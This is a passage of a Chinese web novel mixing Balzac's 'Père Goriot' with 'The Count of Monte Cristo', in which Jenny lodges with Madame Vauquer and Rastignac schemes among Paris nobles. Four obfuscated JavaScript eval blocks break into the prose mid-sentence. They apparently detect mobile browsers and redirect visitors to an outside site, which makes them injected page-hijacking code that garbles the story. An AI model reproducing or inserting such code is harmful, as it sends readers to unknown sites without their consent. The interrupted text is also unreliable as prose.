珍妮按照二十五法郎等于一英镑的汇率算了下巴黎的物价。嗯!每月只需三英镑就可以在这拉丁区的边缘住上次等客房,比每年只用六英镑的伦敦东区贵了不止一星半点,即使是拿中等地段的索荷区与之相比,性价比也低得令人不忍直视——因为能在伦敦住进一家的开销搁在巴黎只能住进单身公寓。 唯一能让囊中羞涩的珍妮感到安慰的是两地的日用品价格相仿,工资也不差多少。 “这房间还合你意吗?”伏盖太太见珍妮的表情十分凝重,还以为是她不喜欢这间屋子:“你总不能去住二楼的候鸟屋吧!” 珍妮若是想住二楼……不,她哪怕是透露出想过去看看的一点苗头,伏盖太太就会撤下和颜悦色的老者面庞,转而变得尖酸刻薄。 “就这间吧!”估计除了伏盖公寓,想在拥有警力保证的拉丁区找到一间月租低于八十法郎的屋子比登天还难,这还不算每月三十的大锅饭,“你能接受英镑支付吗?“ “可以。“伏盖太太很大度地免了兑换的手续费:”餐具需要租客自备。” “包的是一日三餐还是两餐?” “一餐。”伏盖太太嘲笑珍妮十指不沾阳春水:“就是搁在维拉特的移民区里也不敢说用三十法郎吃上一月。” 珍妮对此不可置否。 发行于1885年的《漂亮朋友》里去外面的餐馆吃顿好的也不过是二十苏到三十苏,刚好在一法郎上下。伏盖太太的胖厨娘显然无法媲美外面的专业厨子,更别提她能搞到的食物材料也无法与来路甚广的餐馆相比。 要是算上十九世纪的通货膨胀,这价格与抢钱无异。 “包热水吗?” “包的。” 伏盖太太眉毛耷拉,已经有了不悦之意:“你不是有汤德斯先生这个长辈的熟人吗?难道他会坐视朋友的女儿过得如此拮据?” “……”好吧!珍妮也算品尝到了谎言的苦果。 伏盖太太数着珍妮递过来的白色英镑,提醒她别忘了去买私人物品:“我们八点就吃晚饭,你要是有特殊需求,最好提前告诉厨娘。” “这么早?” “不然怎么月包晚饭只会收你三十法郎?” 因为珍妮的无心之问,上一秒还眉毛耷拉的伏盖太太下一秒又恢复在餐厅时的和颜悦色——因为只有家境优渥的女孩才会八点后吃开销上要多些蜡烛的昂贵晚餐。毕竟在这没有电灯的1822,能熬夜就很能说明个人财力:“适应平民的生活习惯吧!“ 伏盖太太把臂弯里的脱线围巾丢到背上,紧紧缠住赘皮多的能捕蚊虫的短胖脖颈:“维拉特区和贞德平民区里的牲口大都七点就要吃上晚饭。” 穿越前还挺习惯在六点吃饭的珍妮感到十分不爽,但又不能表露出来。 “行了,我也不再与你说些有的没的。”伏盖太太想着珍妮还要出去买点东西,琢磨着回一楼的客厅继续拆那该死的毛衫,谁料珍妮冷不丁地叫住了她:“您之前说汤德斯认识住在圣日耳曼区的伯爵大人。” 珍妮记得《基督山伯爵》的小说里,男主不仅制造了闻名世界的伯爵主号,还未避免仇家的怀疑捏造了如明面上与主号对立的威尔莫勋爵,拯救恩人的费伦奇公司的代理人,以及把仇人的儿子骗得团团转的意大利水手,从卡德罗斯的嘴里确认复仇对象的布索尼神父:“那名伯爵是不是以基督山岛为自己的封地?” “哎?难道他的大名已经传到了英国?连你这种初来乍到的姑娘都略有耳闻?”伏盖太太再次涌起分享的欲望。 “是的,您能与我说说他吗?”珍妮装出情窦初开的少女,可惜这在基督山伯爵的财力前都显得多余——因为想扑他怀里的男人比女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404127|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人还多:“家母的祖上是意大利人,跟斯帕达家有亲戚关系。” 后世给好莱坞做祖源测试都可以将两不相干的人往二十代前扯上干系,没道理在资料不全的十九世纪,她一有着官方认证的乡绅之女还不能搭上已经传了三百年的意大利贵族。 蝴蝶效应,启动! “斯帕达家?哦!难怪呀!难怪汤德斯先生会主动帮您,原来您是斯帕达家的远亲。”珍妮这么忽悠了句,伏盖太太立刻变得热情起来,甚至有些热情过头:“基督山伯爵正是斯帕达伯爵的养子,可怜的老伯爵在波拿巴时流亡海外,直到那人彻底死了才带着儿子返回巴黎。” 伏盖太太先是唏嘘,表达出对父子二人的极大同情,然后又亢奋起来:“好在他们运气不错,回来后便继承祖上的庞大遗产,并且王上也愿赔付他们在波拿巴时的一切损失。” “那可真是太幸运了。”珍妮猜测斯帕达伯爵大概率是爱德蒙在监狱里的老师法利亚神父,因为他是斯帕达家的最后传人——红衣主教凯撒.斯帕达的私人秘书兼遗产继承者,唯有他去伪装这个家族的后人才不会让罗马的社交圈心生疑虑。 而罗马既然承认他的伯爵身份,巴黎自然乐得欢迎头衔可以追述到文艺复兴时的古老贵族。 更别提和日落西山的旧贵族比,伯爵父子还拥有着令人艳羡的可怕财力。 珍妮不知大仲马给基督山伯爵开了多大外挂,但是根据原著里,他掏出张百万债卷就像掏出张十元代金券般轻松写意,就能将他财富总额的保守估计拉到一亿以上。 一亿法郎是什么概念? 在巴黎,两万法郎的银行本金就足以让政府的职员过上相当愉快的退休生活。 基督山的最大仇家,一婚娶了侯爵之女的维尔福的老岳父给唯一的孙女留了九十万法郎的遗产,把维尔福的后妻馋得对继女的外祖乃至继女一家多次下毒。 而要是按茶花女的消费水平,一亿法郎足以让她从十二世纪活到现在。 初入巴黎的斯帕达父子不知低调何物,可着劲的花钱姿态让爱丽舍的王上都略有耳闻。 “他们家可真是阔气,不仅住着葛勒南街的奢华府邸,甚至连马车都是金闪闪的。” 伏盖太太说得口干舌燥,但却没有酒水润喉,只能汲着口水描述巴黎新贵的种种豪气:“你不知道葛勒南街也没有干系,只用明白它是圣日耳曼区的黄金地带。斯帕达府的原主是特-鲍赛昂子爵夫人,她是普高涅王室和玛西阿家族的后裔,外祖父是特-格拉朗蒲元帅。” “您虽然在拉丁区,但对圣日耳曼区的贵族了解颇深。” “嘿!皇帝也有穷亲戚。你们英国的查理二世年少时还流亡法国,窘迫得在朋友的沙发或是大叔下艰难度日。”伏盖太太故作忧郁地叹了口气:“贵族里有绝嗣的倒霉蛋就有人丁兴旺的破落户。之前住在我这里的穷学生是特-鲍赛昂子爵太太的远房亲戚,伯祖是一名骑士。” 提到这个年轻人,伏盖太太竟有一种莫名其妙的骄傲感:“他现在是社交圈的边缘人物,正试图用文学创作打开一条上升之路。” “文学创作?“ “是的,文学创作。”伏盖太太不像是个爱看书的,更不会把闲钱投在会腐烂的大厚砖上,但是巴黎每年都有成百上千的艺术家和文学家来拉丁区的“新贵街”和圣日耳曼区的老宅邸碰碰运气。久而久之,伏盖太太便重新审视这个只有一成人能活得潇洒的特殊群体:“沙龙的主人可喜欢这动笔杆的怪咖们,所以可怜的拉斯蒂涅想从中搏个贵人相助。” 10.第 10 章 珍妮又是旁敲侧击了番,很顺利地从伏盖太太的嘴里套出《高老头》的主角下落——拉斯蒂涅处理完可怜的,被女儿抛弃的高老头的葬礼后便搬去了离巴黎证券所和夏特莱广场并不远的斯特拉斯堡大道,出门走个几分钟就可以抵达圣马丁门。 “他也算是混成右岸的老巴黎了。”伏盖太太对拉斯蒂涅的离开感到不满:“玛莱北部的最北边挨着满是外来人的圣马丁区。你知道的,那个来自科西嘉的矮子往巴黎的脸上划了一刀,硬生生地将塞纳河跟乌尔克河连在一起,导致巴黎从此变得乌烟瘴气。” 明明也是自己口里的“外地人”,但是住在拉丁区的伏盖太太自喻是和本区西边的资本家一样高贵的中产货色,所以对那讨饭讨到巴黎城内的外乡工人……尤其是从殖民地来的摩拉托人(对黑白混血的蔑称)和克里奥尔人(出生于美洲的欧洲后裔)偏见颇深,“虽说右岸的法国人才是真正的巴黎人,但是只有西岱岛至圣马丁门前的右岸才是我所说的巴黎本地。” 伏盖太太还不忘给圣日耳曼区的贵人们打上补丁:“靠近两岛的左岸区虽不属于正统巴黎,但是住的都是法国的本土贵族,其古老尊贵可以追溯到查理曼时。” 末了,还不忘给自己抬咖:“拉丁区亦然。” “……“珍妮只想打听那位勉强算是巴尔扎克“亲儿子”的小伙现状,但是她的房东总是说着说着就开始攀比,对话里提到的男女老少进行一番自觉得体的阴阳怪气。 不! 也是有人逃过了被伏盖太太疯狂拉踩的可悲命运。 “你要是能早点搬来,拉斯蒂涅这。”伏盖太太很露骨地打量珍妮,像是评估一块鲜肉出自牛的部位,以及它的原身是否血统高贵:”德-鲍赛昂子爵夫人一走,他在巴黎的社交圈便孤立无援。” “所以才要进入能与上流社会产生交际的文学圈?” “是的,是这样没错。”伏盖太太又有了能阴阳怪气的对象:“可怜的小子吃着一法郎的公寓晚餐,想得却是圣日耳曼区的山珍海味。” “那他一定很失望吧!”珍妮已经摸准这位房东的脾性。 “何止是失望,简直是大失所望。”之前还对拉斯蒂涅抱有欣赏的伏盖太太提起他的不幸遭遇又眉飞色舞起来:“他以为能通过情妇间接掌控纽根沁银行,结果留着一头金发的德-纽根沁男爵夫人只是漂亮。” “只有漂亮!” “终日打雁,却叫雁子啄了眼。” “是的,是这样没错。”伏盖太太投来一道赞许的目光:“可怜的夫人在她更可怜的父亲生前只知索取,甚至觉得葬礼都要房客办的高老头是最大累赘。” “高老头?” “就是德-纽根沁男爵夫人的父亲,一个在大革|命时当过区长,最后靠面粉生意发家致富的糟老头。”说来也是奇怪,高老头活着时,伏盖太太把他当成饭桌上的笑料,死了倒真心实意地念叨起这高老头的好:“纵使他有千般不是,也不能去怀疑他对女儿的爱。德-纽根沁男爵夫人是一个蠢货,德-雷斯多伯爵夫人是另一蠢货。” “是这样没错。”珍妮难得真心实意地附和了句。 一个在大革|命+饥荒时敢倒卖面粉的商人能是普通商人?没点手段、渠道,他能搞到乱世的粮食?更别提在拿破仑与波旁家你方唱罢我登场后,高里奥所受到的“处罚”仅是搬到巴黎退休,和命都没的拉瓦锡比,可以说是全身而退。 德-纽根沁男爵夫人和德-雷斯多伯爵夫人只知道这老父亲能攒下让其阶级跃升的丰厚嫁妆,然后就是犯了事找老父亲善后,殊不知这老父亲人脉与政治、经济上的敏锐嗅觉才是她们可以依赖的无价之宝。 讨好一个空有头衔的社交皇后有个屁用? 先敬衣裳后敬人;先敬权力再敬人。 德-鲍赛昂子爵夫人不是因为王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14420021|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室血统而受人尊敬,而是因为她的外祖是名元帅,她的家族在波澜诡谲十七世纪依靠战争积累了把孙女送上社交头椅的庞大财富。有了后者,人们才会想起她的王室血统。 同理,德-纽根沁男爵夫人和德-雷斯多伯爵夫人的底气在于她们有八十万法郎的陪嫁和精明能干的父亲。 高老头在时,两女婿虽看不起这投机取巧的老丈人却不敢做的太过火,只能通过影响妻来“逼死”丈人。 是的,你没看错。 珍妮觉得高老头的女婿是在有意推着妻子逼死阻碍他们拿到嫁妆的高老头——德-雷斯多伯爵和德-纽根沁男爵对高老头没有好话,同时也对妻子的出轨睁一只眼闭一只眼。 因为有德-鲍赛昂子爵夫人的婚姻打样,高老头的两个女儿便以为这不管她们找情夫丈夫是传统贵族,结果一个倒卖丈夫的传家宝被德-雷斯多伯爵抓到把柄,就此签下了放弃嫁妆的全部文件;而另一个比前者“幸运”,因为她有做饵的价值,而且还没蠢到放弃追回嫁妆。 【倘若我是高老头的女儿,拿着价值一百万的本金和每年五万的利息可以日抛情人。】 珍妮听着伏盖太太喋喋不休地阐述已在上帝的怀里呆上一年的高里奥是多么可怜,幻想着她要是站在德-雷斯多伯爵夫人或德-纽根沁男爵夫人的立场上要如何保住个人财产。 “伏盖太太,葛勒南街的斯帕达伯爵给博林小姐送了封信。” 就在珍妮想得已经眼神发散的入迷时,胖厨娘西尔维从小花园的栅门后一路跑到公寓三楼的最右边,撑着膝盖气喘吁吁道:“送信的男仆穿得比绅士都好。”而且给了一法郎的跑腿费。 有了这封火漆都有滚金边的伯爵来信,便无人会怀疑珍妮的一言一行。 拿到材质远超稿纸的信封那刻,珍妮便知改变命运的钥匙已在她的手里,就等着她打开一道未知却有金光泄露的神秘大门。 11.第 11 章 葛勒南街在西岱岛的左下角,离荣军院和卢森堡公园也没几步路,属于巴黎的黄金地区。 爱德蒙斥巨资买下的府邸曾属普高涅家的社交皇后——德-鲍赛昂子爵夫人,她在情夫为了一笔百万嫁妆而选择迎娶资本家的丑女儿后全然不顾丈夫还要出入宫廷,逃也似地搬到了仅德-尚皮涅勒侯爵(他是德-鲍赛昂子爵的表亲)愿意与她保持联系的诺曼底区。 妻子成了社交圈里的著名“败犬”,德-鲍赛昂子爵也不大好受。 “别了个娶暴发户的男人,就要从巴黎的社交圈彻底离开。”出乎意料的是,德-鲍赛昂子爵夫人一走了之后,她的丈夫反倒是和蹭她姓氏的拉斯蒂涅相处甚欢,让人以为他才是这落魄贵族的远房亲戚:“阿瞿达侯爵又不是圣人,即使是圣人,亚历山大六世的所作所为也足以让女人明白男人的本性就是延续自己的姓氏,自己的荣光,以及寄托这二者的亲生血脉。” 德-鲍赛昂子爵冷哼道:“她自己靠普高涅的遗泽在巴黎的社交圈如鱼得水,结果吃着祖上的福利,却要一个真正的贵族,前途璀璨的侯爵大人为她拒绝步入婚姻,延续给她带来荣光的家族血脉。” 说到气处的子爵大人抄起酒杯给自己灌得满脸通红。德-鲍赛昂子爵夫人一走,他的身价就大打折扣,不仅是在名望上失去了曾两次君临法兰西的低地荣光(普高涅是勃艮第的法语变形,作为代表的勃艮第公国在巅峰时涵盖包括荷兰、比利时,卢森堡在内的低地国家),经济上也逐渐变得捉襟见肘—— 小仲马在《茶花女》里借玛格丽特的女伴之口道出一个收入稳定的公爵为何入不敷出。 德-鲍赛昂子爵离真正的公爵也就差个世袭头衔。他的马车、男仆、秘书、厨娘、以及脱离奴隶身份的外族随从都需要庞大的金钱点缀,好让那些不自量力的中产对上白手套的仆婢就会自惭形秽。 葛勒南街的府邸同样需要不断的金钱维护,尤其是像德-鲍赛昂子爵夫人般爱开宴会,承担着为新老狮王、母狼牵线的政治掮客,每年花在应季鲜花上的金钱就有两万法郎,足以为一组所有的拉斯蒂涅购置全套的上流装备……而且还包一年马车。 德-鲍赛昂子爵只是爱丽舍宫的常客,而非王上的心腹重臣。即使是雷霆雨露皆为君恩的路易十八,此刻也得抠着子来收买人心,远不如被波旁嘲笑的笼中鸟——对岸的大英王室来得轻松自在。 当然,对于这群不知疾苦的封建老爷,论好坏也太抽象了。 对岸的汉诺威确实是比艰难复辟的波旁来的口袋宽裕,但大英的王子一个赛一个的债台高筑,就连现任的乔治四世都是为了还赌债才决定迎娶远房表妹。 “上帝见证。”愈想愈气的德-鲍赛昂子爵给听他抱怨的拉斯蒂涅倒了杯酒,眼前闪过妻子走后,长得能把他和府内的仆婢全都活活绞死的各色账单,然后才从无力感里滚起他对妻子的怨恨:“全巴黎也找不出如我一般的丈夫。” 拉斯蒂涅很担心这表姐夫将怨恨移到自己头上。 德-鲍赛昂子爵夫人一走,他能依靠的上流人脉就只剩下纽根沁男爵夫人。 这个被德-鲍赛昂子爵夫人讥讽为“只要她能得到一张葛勒南街的晚宴邀请,就能把圣-拉查街到鲍赛昂子爵府的灰尘都舔干净”的女人除了压榨可怜的父亲,也只能向情人诉苦,诉苦她那无情的丈夫在岳父死后,不仅没有归还骗走的妻子遗产,还想把高老头给幼女买的小公寓一并抢去。 “那不是个信基督的丈夫,而是个畜生,彻彻底底的畜生。”德-鲍赛昂子爵在妻子走后为无力承担的社交账单痛苦不已,拉斯蒂涅又何尝不被德-纽根沁男爵夫人的哭声折磨得想绞死这个可恨的女人——除了想要报答可怜的高老头,他还想借情妇搬空纽根沁银行。然而他这初出茅庐的雏鸡哪够心狠手辣的银行家(这里指德-纽根沁男爵,原籍德国的金融家)抬起眼皮?后者用比屠夫还要精准的手法把拉斯蒂涅抽筋扒骨。 原谅我用这种词来描述一个法籍德裔的银行家对妻子的情夫做了什么,但事实就是空有一个贵族头衔的拉斯蒂涅不仅没把贼手伸进德-纽根沁男爵的银行金库,甚至成了纽根沁的婊|子— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465937|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —德-纽根沁男爵把妻子的嫁妆榨干净后还想用她去钓那些不自量力的年轻人们,所以他看勾搭妻子的拉斯蒂涅就像在看一个笑话。 幸运的是,拉斯蒂涅不够有钱,入不了已身价千万的纽根沁的眼。 不幸的是,拉斯蒂涅足够漂亮,所以比面粉商的女儿更适合当名利场的鱼饵。 “我没想到男人做娼|妓的天赋也比女人出色。”德-纽根沁男爵不会给没用的妻子花一生丁,但是妻子的情夫在他赖以维持上流地位的表姐离开圣日耳曼区后,他不仅没滚回月租四十五法郎的伏盖公寓,甚至和德-鲍赛昂子爵保持良好关系,这就很让德-纽根沁男爵感到意外,于是像个老鸨照顾手下的头牌让拉斯蒂涅光鲜亮丽地初入有着众多耳目的葛勒南街。 “你不该把时间浪费在没一个子的但斐娜(德-纽根沁男爵夫人)上。”前有让他勾搭贵妇的子爵夫人,后又让他扩展业绩的情妇丈夫:“一个女人可以钓起一群男人,一个男人不仅可以钓起一群为他掏子的女人,还能顺势榨干围着她们掏钱的各种男人。” 拉斯蒂涅想对着那张傲慢的脸狠狠地来上一拳,但是现实以及下月的账单逼他忍了下来,而且理智告诉他这德国屠夫说得一点没错,问题是他怎么钓上后面跟着一群肥鱼的贵妇人。 有了过往的失败经验,拉斯蒂涅不会看到贵妇人就嗷嗷叫地献上殷勤。 得益于他租了靠近了圣马丁门的房子,加上巴黎都知道他搭上了有千万身价的男爵大人,所以包括德-鲍赛昂子爵在内的巴黎贵族都没有对他关上大门,但也只是把他当成德-纽根沁的传声筒与解闷的丑角。 尊重? 等他不必当个捧眼再谈“尊重”二字。 “我这次请你来是有要是相托。”骂了一会儿不听劝的妻子,又把待客的酒水喝得七七|八八,德-鲍赛昂子爵终于切入他会让这外省小子登堂入室的真正目的——他要把这葛勒南街的宅邸卖掉。 拉斯蒂涅到底还没练出酒量,脑子搁那儿晕乎乎地转了会儿才小心问道:“您为何要卖了府邸?” 12.第 12 章 “……”这话问的,真是让人难以启齿。 德-鲍赛昂子爵的眼神突然冷了下来,唇角的弧度却是一点没变。 不知从哪儿吹进的冷风在拉斯蒂涅的后脖颈刺了一下。 年轻的骑士(这里指拉斯蒂涅,他祖上是骑士)一个激灵地酒醒一半,像是喝了薄荷水般刷一片还能思考的清明区:“这酒像是新卡钦斯基堡垒的货(中西伯利亚的一座城市,自彼得大帝起为沙俄的葡萄酒盛地)。” 德-鲍赛昂子爵知道他在找台阶下,冷哼一声也不算是给面子道:“那群只只知烧杀掳掠的哥萨克(新卡钦斯基堡垒最初是军事堡垒,为哥萨克人的聚集地之一)可酿不出能上桌的酒。” 在法国人面前说沙俄的葡萄酒好堪比在中国人前大肆赞美印度的茶叶,多少是有点倒反天罡了。 马屁拍到马腿上的拉斯蒂涅觉得这是指桑骂槐,但也不好争辩什么:“我也没有出售房屋的任何经验……” “那又如何。”德-鲍赛昂子爵冷哼的频率已经多到可以用“风寒”的借口闭门谢客……话说在妻子走后,他家却是门可罗雀:“巴黎的大学也没教人怎么赚钱。” 他也不知拉斯蒂涅在巴黎学了什么,但是从中世纪起,法律、神学一直都是贫家子弟的最佳选择:“可你现在不还是在纽根沁那儿倒买倒卖?” 德-鲍赛昂子爵看不起像德-纽根沁般男爵的暴发户,但又羡慕他们活得十分潇洒,甚至在国王前比他这样的古老门户更有牌面。 拉斯蒂涅讨好地笑着,内心却是翻了个白眼。 德-鲍赛昂子爵的自尊让他无法对暴发户奴颜婢骨。 拉斯蒂涅觉得自己不像客人,而是个给总督服务的摩拉托人,但是想想子爵府的金碧辉煌,以及这笔生意带来的雇佣收益,他又打起十二万分的精神道:“您想卖多少钱。” 圣日耳曼区的房价自然不同凡响,更何况是住过前任社交皇后的上等府邸。 拉斯蒂涅的第一反应是卖给还在圣-拉查街的德-纽沁根男爵。这厮儿搁在巴黎都算顶有钱的,但不像是外省来的老贵族或急于洗清平民出身的新贵族般要么搬进圣日耳曼区,要么搬进拉丁区,或是效仿山河日下的连襟在巴黎右岸的老城墙内随便选个,总之就是必须靠近塞纳两岛。 德-鲍赛昂子爵打得就是这个主意。 如果让暴发户把葛勒南街的房子买去,他一定会遭到名流的隐性除名,可要是把购买者的身份限定在有爵贵族,那未免也太苛刻了,“少说也要这个数。” 德-鲍赛昂子爵竖起几根手指。 拉斯蒂涅眉毛一耷,暗骂这是苦差事:“德-纽沁根男爵不会接受这个报价。” 他想说的是全巴黎都找不出能出这数的贵族:“要不您放宽要求,选择给女儿置办嫁妆的大商人?”反正宅邸最后是以姑爷的名字为外人所知,也不算是辱没子爵的左邻右舍。 “不行。” 好吧!他该收回对子爵的愚蠢期待,这人跟为爱离开的子爵夫人真是天生一对。 “我只能说尽力帮您。”这一刻的拉斯蒂涅把德-鲍赛昂子爵放到比操控他的德-纽沁根男爵更可恨的位子上。 就在他已断定巴黎不会出现子爵府的合适买家时,现实给了拉斯蒂涅狠狠一击。 “那个基督山伯爵是什么来头?”得知一栋烫手山芋般的豪宅被初来乍到的贵族拿下,巴黎的名流很难不对新闻的主人产生好奇,拉斯蒂涅也不例外。 此时的骑士小伙刚刚解决一场“大战”,敞着胸膛朝梳妆台边的情妇吞云吐雾:“你没想着结识一下?” 德-纽沁根男爵夫人正打理着被情事弄乱的一头金发,闻言把梳子掷向自己的情人:“你把我当娼|妓使了。” 拉斯蒂涅被梳子的把手砸中额头,吃痛地用黄铜的床饰查看伤处:“不过是问你有没有打听新来的伯爵大人,何至于要冲我发火?” 说罢捡起一旁的衣裳胡乱套上:“我知道了,你又有了新的情人,就像对待曾经的我般,急于对他温言软语。” 拉斯蒂涅扯袖的动作狠得像是在扯情人的一条胳膊:“我这没了任何价值的可怜蛋像旺多姆的孔代亲王,在给来自美第奇的毒蛇夺回英国控制的勒阿弗尔后,就该被她抽筋扒骨。” “但是我比孔代亲王更幸运些,因为你这毒蛇空有阿弗洛狄特的美貌,却无一点凯瑟琳-德-美第奇的阴险狡诈。” 德-纽沁根男爵夫人被暴怒的情人吓得花容失色,扔下手里的化妆用品就拖住想走的拉斯蒂涅:“好骑士,好少爷……“ 她轻拍着拉斯蒂涅不断起伏的胸膛,声音里还带点哭腔:“难道你的骑士风度就是让你如此对待无辜的女士?” 幸而最初的激情过后,德-纽沁根男爵夫人还有张让铁石心肠都为之动容的柔软脸蛋。 拉斯蒂涅的怨气在德-纽沁根男爵夫人的眼泪下渐渐散去,顺势搂住对方的腰肢不断吻着哭泣的脸:“但斐娜,我亲爱的但斐娜。” 当他垂下棕色的眉毛,摆出一张可怜兮兮的道歉脸时,德-纽沁根男爵夫人就知道她彻底完了,“我总对你狠不下心。” 她回抱着拉斯蒂涅的脖子,欣然接受了对方的讨好:“谁让你是如此爱我。” 两人搁那儿心怀鬼胎地互相安慰,直到服侍男爵夫人的老妈子冲屋内喊道:“夫人,我端了些冷餐给您。” 得到许可的老妈子将东西摆在只供一个大铁盘的小圆桌上。 德-纽沁根男爵夫人可不敢在晚上吃得满嘴流油,只是喝着白葡萄酒冲情夫喊道:“亲爱的,别忘了给丹兰士妈妈些好处。” 拉斯蒂涅知道这是对方嫌弃自己吃得太饱:“你不是把阁楼租给流莺,然后又腾了二楼的储物间给乡下来的青年诗人?” 不提倒好,一提到让拉斯蒂涅感到不对:“说来我还从未听你提起这个乡下诗人。” 拉斯蒂涅的眼神让德-纽沁根男爵夫人想到她那不讨喜的丈夫,于是冲他斜眼嗔道:“你可真是大人大量,居然会吃租客的醋。” 德-纽沁根男爵夫人的态度让拉斯蒂涅疑虑更甚,但是经过两年的打磨,他已做到做最基本的不动声色:“这都因为我爱你啊!” “你还是像以前那样讨人喜欢。”拉斯蒂涅对德-纽沁根男爵夫人的热情逐渐消退,后者亦然。她本不是善男信女,会和这个空有头衔的穷小子成公开恋人也是为了接近对她爱答不理的德-鲍赛昂子爵夫人。眼下她想攀上关系的子爵夫人离开巴黎,拉斯蒂涅又兜里没个百万法郎,所以在这高不成低不就的大环境下,德-纽沁根男爵夫人自然会去物色新的冤大头来满足私欲。 眼看情人还未放下戒备之心,德-纽沁根男爵夫人转移话题道:“那个买下鲍赛昂子爵府的伯爵是靠奥斯曼的生意得到这个头衔,当然,这也得亏绝嗣的斯帕达家将头衔与财富传给他的教士养父。” “斯帕达家?” “一个兴起于十五世纪的罗马贵族,据说跟波吉亚家有点关系。”德-纽沁根男爵夫人曾嫉妒姐姐嫁了一个传统贵族,而她只能去捡年纪是她两倍的暴发户:“你也是与贵族结亲的骑士之后,应该明白很多头衔、土地都是遵循《萨利克法》。” “是这样没错。“ “但是一些古老的头衔、土地是可以被传给女儿。” 德-纽沁根男爵夫人一提到这儿就不由自主地嫉妒那些女王、女爵:“斯帕达家就是符合这一条件的古老贵族,不幸的是,继承他们家族财产的旁系是个无子的神父,而且选了远房的侄子成为他的养子。” “那可真是太可惜了。”拉斯蒂涅毫不掩饰他的欲望,同时也对交好运的基督山伯爵产生嫉妒:“那名伯爵很年轻吗?” “他既然被收为养子,那肯定是很年轻喽!”德-纽沁根男爵夫人还未见过一直处在舆论中心的斯帕达父子:“但是我的丈夫和你一样讨厌。” “怎么?男爵大人也想让你接触那位基督山伯爵?”拉斯蒂涅被这话勾得妒火中烧:“你早就想这么做吧!” 拉斯蒂涅十分粗鲁地扔下烤鸡,试图去碰德-纽沁根男爵夫人的脸。 “你可别用油淋林的手碰我。”德-纽沁根男爵夫人立刻侧身。 拉斯蒂涅如她所愿地缩回了手,但还是想追个答案:“你还没说是否想去接触那个基督山伯爵。” “哎!你们男人真是奇怪。”德-纽沁根男爵夫人很享受被情人的不甘紧紧包裹的支配感:“想让妻子去找情夫,但又害怕情妇爱上别的男人。“ “那不一样。” “对,的确不同。”德-纽沁根男爵夫人懒得应付好胜的男人:“你们把女人当成战利品的同时,也有不少女人把那初入巴黎的基督山伯爵当成国王的耶路撒冷。” 到底是被伏盖太太吐槽没有一点脑子的金发尤物。 德-纽沁根男爵夫人想抱怨她在社交圈里没啥地位,更谈不上男人眼里的一座高峰,但是这搁还有怨气的拉斯蒂涅的耳里就成他没本事,顶多搭上不入流的贵族夫人。 好嘛! 这下两人又回到了互相不爽的尴尬境遇。 拉斯蒂涅吃饭完后用蜕皮的力度把双手洗净:“亲爱的,下周见。” 他走下已嘎吱作响的老木楼梯,在一楼与二楼的拐角处看见租下公寓阁楼的流莺。 以往的拉斯蒂涅不会注意这种女人,但是今日他被情妇打击到了,所以在擦肩的那刻鬼使神差地拉住对方。 “先生?” 对方包着金色发丝的粗围巾因拉斯蒂涅的动作而落下一半,露出张被生活摧残的标致脸蛋,以及在说话时空空如也的口齿中央。 拉斯蒂涅的欲|火因对方的容貌、缺牙而冷静下来,还算绅士地松开手并给了流莺一法郎:“女士,我想问您一个问题。” 他看流莺衣服寒酸,便以为她为了钱能无所不做,然而流莺只是看了眼硬币就物归原主:“先生,我不能做害人的事。” 这话倒让拉斯蒂涅对她改观:“女士,你也知道我与公寓的主人有着亲密关系,所以好奇女主人把二楼的空房租给了谁。” 说罢他还掏出一枚家徽让对方相信他不是危险分子:“我以自己的家族起誓,绝不会有害人之心。” 拉斯蒂涅的家族就是剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14481591|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个骑士头衔,要是他以父母乃至姊妹、姑母的名誉起誓,这话还能当一半真。家族?也就骗骗对面的流莺。 好在对方真的信了,迟疑后又决定收下这份报酬:“只回答些基本问题。” 拉斯蒂涅点了点头:“租客的身份是乡下来的诗人吗?” “是。”对方答得非常爽快:“我看见他揣着稿子与出版商或同僚商量下月要登什么内容。” “那对方很年轻英俊吗?” 